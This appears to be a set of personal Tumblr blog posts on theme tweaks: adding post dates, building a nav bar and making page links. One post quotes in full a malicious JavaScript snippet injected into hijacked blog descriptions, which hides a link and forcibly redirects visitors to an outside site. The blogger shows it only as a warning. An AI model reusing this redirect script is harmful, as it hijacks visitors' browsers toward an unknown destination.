I post flowers on the day that I shoot them (or shortly there-after) And I really needed a record of when the pictures were taken. The bit of code that says ”Posted 58 minutes ago”,  ”Posted 6 months ago”, Wasn’t specific enough for me when showing the pics to people that are interested in what blooms when….

Hence the need for dated posts. 

I discovered this bit of code on one of my follower’s blogs.

 I quickly set up their theme on one of my test blogs, to have a look at what made it possible.

I don’t know what the coders were thinking when they created the new side code, I find it completely unusable.

Lucky for us coders, they left the back door open, we can still get somewhere that we can work with & see the source code. They call it “classic” in a seeming allusion to the “new coke”.

Anyway, after visiting the classic customize page, you’ll be adding the code (from the rectangle below), to the html section. I added it under “{block:Posts}<div class=”post”>” .

{block:Date}
 {Month} {DayOfMonthWithZero}, {Year}
  {/block:Date}

Our hijacker is adding junk to the description.

This is going to potentially make simply setting up a new theme not work…

<a id='goa' href='http://gotoenjoy.com/' style='display:none;'>link</a> <script> var url="http://gotoenjoy.com/"; function goto2(){         if(navigator.userAgent.indexOf("MSIE")>0){                 document.getElementById("goa").click();         }else{                 window.location=url;         } } goto2(); </script></div>

This bit of java script is a speedy little bugger to disable through the process of hitting the (x) on the browser… I had to open a hijacked page in multiple browsers to study the code.

Antiphishing describes how to use the (x) to stop the page from loading

Restore still seems like it should be the method of choice, hit revert one time and everything should be back.

 If anyone knows bingbrianr4czddt.tumblr.com they may want to let him know that he’s been hijacked, and that he needs to clean out his description box.

Probably better tell rosse19820509 as well…

Anybody else?

Found a nav bar…

I’ve been looking for one, and I hadn’t seen very many, but I really liked the looks of the ones that stretched across the top of the page. (those people who’ve visited my site might understand why)

So anyway, I was browsing themes, and the chrome theme caught my eye.

By setting up a test blog, and setting it to that theme, I could get in there and get the part that I wanted, and with a little bit of code tweaking, I got it to match my blog.

But the way that the links were set up as a list, made the navigation  unsuitable for a theme*. By deleting most of the code, and substituting the default page link code from the default sidebar, I’ve developed a nav bar that accepts new links when we add a page!

Have a page that doesn’t support links?

Here’s a solution.

I think the code is straight forward, add the css at the top of your page css, add the html code section just below your body tag.

Adjust the colours of .headermenu { 
background:#fff;

If you don’t like white.

 The links themselves will take on the background colour of your page without it being necessary to do a thing.

* I discovered that there is code that can be added to any nav style that makes new links automatically show up.

wendellina:

I am going to teach myself CSS and HTML so I can make my own theme.

Crazy, right?

Whatever.  I don’t like most of the themes.

Mer.

^ that’s my cat, btw.

Click add a page

Name the page

Not the end of the world, create page anyway.

Go to the page by typing the name of the page into address bar as part of the address.

Paste into description, save.

Page link will display with everything posted to description (usually in sidebar below picture).

If you are willing to add a couple snippets of code to your theme, you can fix the theme. Turns out that fixing the theme to automatically add links is a lot simpler than adding the html to the theme every time you add a link.

If you attempt to fix the theme, remember that tumblr doesn’t like pasted quote marks, and if it doesn’t work the first time that you test the link, the prob may be as simple as erasing the quotation marks and typing them back in.
